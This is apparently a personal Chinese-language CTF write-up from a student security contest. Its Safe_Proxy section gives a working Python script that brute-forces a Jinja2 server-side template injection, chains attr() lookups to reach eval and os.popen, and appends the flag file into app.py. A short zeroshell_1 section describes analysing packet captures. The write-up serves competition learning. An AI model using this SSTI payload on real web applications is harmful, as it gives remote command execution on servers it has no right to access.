第十八届全国大学生信息安全竞赛暨第二届「长城杯」铁人三项赛线上初赛个人题解

December 15, 2024 · Legacy Blog ^↗

这是什么比赛，不会 CTF，退役了。

Safe_Proxy

什么 Proxy 不 Proxy 的，就是一 SSTI。先纯暴力一下：

import requests
from time import sleep
from tqdm import trange

TIMEOUT = 5
TARGET = "http://[REDACTED]/"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}

def get_code(idx: int) -> str:
    return r"{{ ()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)("+str(idx)+r")|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)|attr(request.args.d)(request.args.h)(request.args.i) }}"

def get_params(payload: str) -> dict[str, str]:
    return {"a": "__class__",      "b": "__base__",
            "c": "__subclasses__", "d": "__getitem__",
            "e": "__init__",       "f": "__globals__",
            "g": "__builtins__",   "h": "eval",
            "i": f"__import__('os').popen('{payload}').read()"}

for idx in trange(1, 500):
    found = False
    while True:
        try:
            response = requests.post(
                TARGET, headers=HEADERS, data={"code": get_code(idx)}, 
                params=get_params("ls"), timeout=TIMEOUT)
            if not "500 Internal Server Error" in response.text:
                found = True
        except: sleep(5)
        finally: break
    if found: break

得知 idx=80 是可以的，那就再考虑一下怎么回显。一通折腾后发现可以直接写入到 app.py 文件中去：

response = requests.post(
    TARGET, headers=HEADERS, data={"code": get_code(idx)}, 
    params=get_params("cat /flag >> app.py"), timeout=TIMEOUT)
print(f"[+] Server's response: {response.text}")

response = requests.get(TARGET)
print(f"[+] Final: \n{response.text}")

zeroshell_1

筛查所有发送到 WAF 服务器的 HTTP 请求（ip.dst == 61.139.2.100 && http）并查阅。首先，认为 61.139.2.128 大概是内网管理员的正常访问，遂筛去。而后就只剩下来自 182.143.237.15 的请求，在其中一个请求中发现了疑似命令执行的 Payload，其请求 Referer 中为 Base64 编码的 flag：